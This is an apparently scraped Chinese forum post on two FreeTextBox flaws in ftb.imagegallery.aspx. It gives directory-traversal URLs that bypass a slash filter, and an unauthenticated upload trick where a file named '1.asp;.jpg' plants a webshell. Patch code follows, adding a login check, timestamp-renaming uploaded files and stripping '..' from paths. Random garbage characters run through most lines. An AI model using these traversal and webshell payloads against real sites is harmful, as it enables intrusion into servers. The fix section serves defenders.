漏洞文件:ftb.imagegallery.aspx
/ G7 v( O7 ` g/ l; A% o+ } z3 t
漏洞一:目录遍历
4 S4 `. F7 ]7 ~ J6 W! C' Rftb.imagegallery.aspx?frame=1&rif=images&cif=../
y+ y: e" j! f不可以,过滤了/
0 W6 @: o3 q: A0 pftb.imagegallery.aspx?frame=1&rif=images&cif=..\" a' n! Y) l5 A- K0 U; q
可以!!过滤\符号 嘿嘿,能干什么自己知道了呗。
- q/ I% k/ ^2 O6 P8 g$ Bftb.imagegallery.aspx?frame=1&rif=images&cif=..\..( v: ^) {$ k& j+ g4 S
漏洞二:上传漏洞
8 i! W8 x3 [# v5 Z9 z: m没做登陆验证可以直接访问上传木马 FTBv3-3-1 可以直接上传任意格式的文件 Freetextbox 1.6.3 及其他版本可以上传 格式为 1.asp;.jpg 文件 上传后木马地址为http://网站地址/images/1.asp;.jpg4 E5 u% ?0 j% U
8 P& b. ]# z1 D) }4 k
' w0 ?/ D, Z2 h/ y
漏洞修补方案:
# H6 c. S5 q4 q. ~4 S9 c+ j
* {6 Y! x2 N* w" v. Q: u添加代码加登陆验证
2 a3 F% |! \* l# B; uprivate void Page_Load(object sender, System.EventArgs e) { string isframe = “” + Request["frame"]; Freetextbox上传图片是直接保留原文件名的,这个地方做个修改,上传文件使用时间串做文件名。
) Y: R- G* g7 |1 C
' W# j) V" w* s" t0 g( m. m修改方式如下:, n2 E3 d7 y$ q2 p0 j
2 E. @% u3 v( Z8 y
找到 程序代码
+ j3 x* i* }1 TUploadFileNameUploadFileName = UploadFileName.Substring(UploadFileName.LastIndexOf(“\\”)+1); 在其下面添加以下代码
/ { G- w2 J9 l$ M# p9 `0 O# ?//********************* UploadFileName = DateTime.Now.ToString() + UploadFileName.Remove(0, UploadFileName.LastIndexOf(“.”)); UploadFileName = UploadFileName.Replace(“:”, “”).Replace(“-”, “”).Replace(” “, “”); //by Yation.Team 2009/7/17 上传文件用时间重命名- U/ b$ r' P5 X6 j# k, Z
以前已经有人公布过fb暴路径的方法 http*****.cn/helps/ftb.imagegallery.aspx?frame=1”在地址后面加上&rif=..&cif=..在访问 整个网站的目录就呈现在眼前了,下面还有上传删除等按钮… 修正方式如下: 找到 程序代码 if (cif != “” && rif != “”) {* Q" ~$ J3 O( | n6 Z( I
把RootImagesFolder.Value = rif;9 ^( }% k M; ?9 R* t
8 e5 {8 x! y, ^3 V3 ?6 q J替换成
8 v7 }3 I# i! ]4 h7 a# t, a1 u程序代码 //***************************** RootImagesFolder.Value = DefaultImageFolder; Array srtArray = cif.Split(‘\\’); string str = srtArray.GetValue(0).ToString(); if (str != DefaultImageFolder) { cif = DefaultImageFolder; } cif = cif.Replace(“..\\”, “”).Replace(“../”,”");
, Q) N' ]3 R4 f9 n5 I0 ~6 y |